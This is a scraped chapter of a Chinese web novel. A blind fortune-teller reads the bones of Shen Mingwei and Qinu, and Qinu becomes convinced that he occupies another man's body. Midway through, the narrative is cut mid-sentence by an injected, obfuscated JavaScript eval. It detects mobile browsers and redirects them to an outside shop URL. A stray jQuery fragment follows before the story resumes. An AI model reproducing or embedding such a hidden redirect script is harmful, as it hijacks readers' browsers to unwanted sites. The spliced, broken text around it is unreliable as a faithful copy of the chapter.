文趣网 > 其他小说 > 双面太子诊疗手记 > 15. 摸骨直断今生事。
    老道士跟前摆着一方窄小旧木桌,孤零零显得尤为寒酸,身后一根竹竿支一道红幌子,上面写“摸骨直断论前世今生祸福吉凶”。

    街对面,姑娘们无不是抢着要妆娘化妆热闹非凡。

    沈明微回答那老道的话:“对面脂粉铺的老板手艺很好,姑娘们抢着要去让她上妆。”

    老道循声半仰着脸,明明眼睛无神,却是一副用心听讲的姿态,又问:“原来如此,那姑娘为何不去凑这热闹?”

    “是老板给我第一个上的妆。”

    “方才我听那女老板吆喝半天,也不如现下动静大。”老道抚摸着沉吟,笑得慈祥,“姑娘心善,这行商最重第一口进气,你是这脂粉铺的财星。”

    明明是老板手艺好,老道这话把她捧得太高了。

    沈明微连连摆手,后知后觉意识到老道看不见。

    老道士又自顾自道:“姑娘如不也当贫道的第一个客人?老夫可为姑娘算一算,姑娘看着给就是。”

    不是不想照顾老道生意,只是她身上确实没钱,真的分币没有。

    沈明微犹豫着正想开口拒绝。

    弃奴在后面道:“老伯,我付钱,不如你同给我们都算算。”

    老道闻言眉开眼笑:“自然可以,那二位……谁先来?”

    弃奴轻轻推了推沈明微的肩膀:“明微,你先试试?”

    沈明微点点头,满是兴致地坐上摊前的小凳上,在她原本的时代里都并未完全否认玄学之流,这古人最朴素的经验统计。

    不管这老道有没有真本事,试试倒也有趣。

    沈明微:“老伯,那我先来。”

    老道重重清了下嗓子,将一块干净的布铺在桌上,将边边角角仔细捻好,正襟危坐,递了个手势:“贫道摸骨算命,姑娘请。”

    沈明微试探着将右手放到那方布上,老道伸出干枯粗糙的手在她手上捏了捏,正欲放开,忽而眉头一皱,发出“咦”的一声,像是发现了什么不可思议的事。

    老道左右摆头,脸上神情却越发凝重,手上又仔细反复捏捏。

    沈明微不信这个,但看老道的表情心也不自觉悬了起来,扭头去找弃奴,发现弃奴也皱着眉头认真盯着老道的动作,俩一老一少表情如出一辙。

    这场景实在好笑。

    沈明微那悬着的心也落了下来,不过是听着玩玩,倒像是遇上什么大事。

    弃奴看那老道对沈明微摸了又摸,只觉得这人活像揩油的,终于也忍不住走向前去,亦伸出手,小心机将沈明微的手推开:“好了老伯,到我了。”

    老道士被这么一打断,悻悻收回手,似明了地笑道:“你这小子……罢了,姑娘的我已经看好了,那就时候一起说吧。”

    沈明微好笑地让出位置给弃奴。

    没料到老道一摸上弃奴的手,同样露出和帮沈明微摸时一般的神情,先是正想松开,随即又是犹豫不决,然后是恍然大悟一再确认。

    倒像是同一个表演模版。

    弃奴很是从容大方地任由这老道摸来摸去。

    半晌,老道士才松开手,叹了一口气,有些无奈:“贫道已然有了论断,只是这话说出来,倒是显得贫道哄你们的。”

    沈明微本也不信着老道真能算出什么,就笑说:“老伯直说便是。”

    老道士点了点头,将那方红布又仔细收起,慢悠悠开口:

    “二位手骨摸上去皆是骨肉均停,初摸手软如棉,又关节骨骼分明,此谓外柔内刚,此其气其势世所罕见。”

    老道又为作佐证,伸出自己的手摊开,手指被一层暗黄的老皮包裹,骨指凸起干枯如柴,

    “老夫这样手,便是贫苦人家的手,只能一辈子辛劳……”

    沈明微不愿听到这话,反驳道:“这是劳动人的手,生来富贵与否是上天的恩赐,靠着自己的双手活着的人,不比那些生在富贵窝而不知人世疾苦的差。”

    况且她和弃奴也只是乡下贫苦人家,就算为了哄他们这老道也不用这样自贬。

    “姑娘心善。”老道也不在意反驳,呵呵一笑,“这倒更合了我的论断。”

    “姑娘是观音座下莲瓣修成仙子,下凡是为普度众生而来,就算生于微末,终有一天也能真凰清鸣于世,为人推崇尊敬。”

    这一句话一出口,沈明微好悬没被唾液呛死,这下怎么也忍不住了,拼命捂着嘴笑,努力不发出声音。

    老道眼瞎耳却不聋,听到动静只能无奈笑笑,转向弃奴:“公子骨骼世所罕见……”说着他压低声音,

    “照老道瞧来,竟似帝王之骨,贵而无极,只是帝王骨主极贵也主孤相,日后公子待妻儿需得慎之又慎。”

    弃奴闻言神情微微怔忪。

    老道士直挺的坐姿又松懈下来:“贫道已经算完了,二位皆是极富极贵的命格,自有自己的路要走,多说无益。”

    “多谢老伯。”弃奴从袖中掏出几枚铜板放在桌上,老道士点头回礼。

    俩人离开了老道士的摊位,沈明微提着兔子花灯连步伐都忍不住轻快了。

    难怪算命古往今来都有一席之地,这吉祥话别管真不真,总能听得人通体舒畅。

    弃奴落后几步,静静注视前头少女的身影,漫街的彩灯颜色各异,唯独不掩白衣少女的瞩目,只是他心底泛起无尽的失落。

    老道算的命不是他的命,是萧容与的命。

    他弃奴只是一介乡野村夫,还以为脑海中那些零碎的记忆只是被萧容与那鬼魂占据身体的影响。

    原来这副身体就不是他的,他只是世间游荡无意占据旁人身体的孤魂野鬼罢了。

    弃奴眸色微敛,垂目看向那只被老道反复摸过的手,手指修长,指节分明而有力,即使因为平日劳作生出薄茧,却也不似乡间莽夫的粗糙厚重。

    这是生在富贵人家的骨相。

    这上等命格的“帝王骨”确实与沈明微“莲瓣仙子”更为相配,他不过是鸠占鹊巢。

    难怪那纸订婚书萧容与未与他明言,真皇有仙子来配,与他何干。

    “弃奴,谁让你把姐姐跟丢了?”身畔传来少女清甜又故作凶狠话语。

    弃奴抬眸,只见沈明微朝他龇牙咧嘴扮了个鬼脸,又听她故作疾声厉色:“这大街上很危险知不知道,跟丢姐姐会有坏蛋把你抓走!”

    “就这样‘嗷呜’一下把你拉进小巷子里。”沈明微亮起五爪在他胳膊上抓了抓。

    这像是李二婶哄骗孩子的话,弃奴忍不住笑了。

    “哎,别再跟丢了,我可找不到回家的路,到时又劳你老人家找。”沈明微见他笑了,才舒了口气。

    刚才她在前面走了半天,一扭头弃奴影子都不见了心下一慌,不过好在往回走才看到他在

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17867810|212017||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    原地站着看自己的手发呆。

    “是不是那个老道士说的话让你不舒服了?”

    沈明微只想到这个可能,想必弃奴受老道士后半句帝王骨主孤的话影响了。

    弃奴摇了摇头,勉强勾起一丝笑:“没有。”

    沈明微这次可不信他,总觉得再见之后弃奴心底就藏了很多不愉快的东西,可都不再愿意和她表明了。

    “你别信那老道士的话,他说你是帝王骨就是帝王骨呀。”

    沈明微凑到他边上笑说,“老道士为了生计哄着咱俩玩的,你还真听进去了,还莲瓣仙子,我都不信,估计他对每个人都这样说,你捡好听的听就是了。”

    要是能算出她是穿越来的,才算那老道士有真本事。

    沈明微推搡弃奴,咧嘴示范:“别不高兴了,来给姐姐笑一个。”

    弃奴被她这搞怪的表情逗得不行,终于笑出声。

    “我们再去看看河灯,我刚听见好多人都过去看了。”

    沈明微见状心满意足,一手握着兔子花灯,一手拉着弃奴的袖子随着人潮走去,转头故作委屈,“别再弄丢我了,要不然我得哭了。”

    弃奴跟着她的步伐忽快忽慢,周围的纷纷扰扰仿佛在此刻都褪去,眼中只有这一抹纯白。

    是了,明微曾说他不是鬼魂,他就是萧容与。

    他鸠占鹊巢又如何,没有人知道真相,而唯一知道部分真相的人选择包容他。

    -

    老道的摊前依旧冷落,忽有一位衣衫破旧的半大乞儿大喇喇随意坐到老道身旁,他手中捧着两个白面馒头有一口没一口咬着吃。

    老道伸长鼻子嗅了嗅,布满白翳的眼睛盯着乞儿,像也能穿透人心。

    老道不满的问:“你这是又从哪家偷来的?”

    他说着顺手将弃奴刚给的几个铜板递给乞儿,“去,把钱给人家。”

    这乞儿是去年寒岁一路跟他的,死活要拜师。

    天玄子一介穷酸道士孤身一人行走世间,自然是不同意,后来被磨没了脾气,又算出这小子同他渊源颇深,身上亦隐有不凡之气,也就随他跟着了。

    只是未料到这小子未经教化,总爱做些偷鸡摸狗的勾当。

    乞儿闻言气得瞪圆眼睛看微玄子:“这是老子用捡来的钱买的!”

    “既是捡来的钱,你就当等着失主来交还给人家。”

    乞儿闻言翻了个白眼,左右开弓狠狠咬了两口馒头:“爱吃不吃。”

    他懒得和这老头解释这是人有钱人高兴街头散财来的。

    待乞儿吃到打了个饱嗝,剩下的半块馒头丢到老道面前的摊上,老道自然不理。

    乞儿觑那半块馒头一眼,硬邦邦道:“臭老头,刚你给人算命我听了,你怎么连吉祥话都不会说,那两个人也真是鹅眼钱,拢共就给这么这么几个铜板。”

    天玄子又扭过头不理。

    坐了好半天,那半块馒头定然冷了。

    乞儿本就半大少年沉不住气,这才嚷道:“是个人傻钱多的街头撒铜板我捡来买的!不是偷的。”

    “不偷便好。”

    老道眼珠子转了转,这才伸出手摸到那半块馒头,递到嘴边。

    “哼。”乞儿冷哼一声。

    一老一少坐在热闹街头,远处烟火乍响,众人无一不皆举目瞭望那绚烂,又是一年秋。